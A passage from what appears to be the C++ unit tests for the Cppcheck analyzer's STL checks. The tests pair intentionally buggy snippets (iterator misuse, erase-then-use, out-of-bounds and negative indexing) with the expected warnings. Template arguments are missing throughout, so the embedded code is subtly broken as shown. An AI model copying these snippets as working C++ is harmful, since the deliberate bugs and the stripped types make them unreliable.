data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n 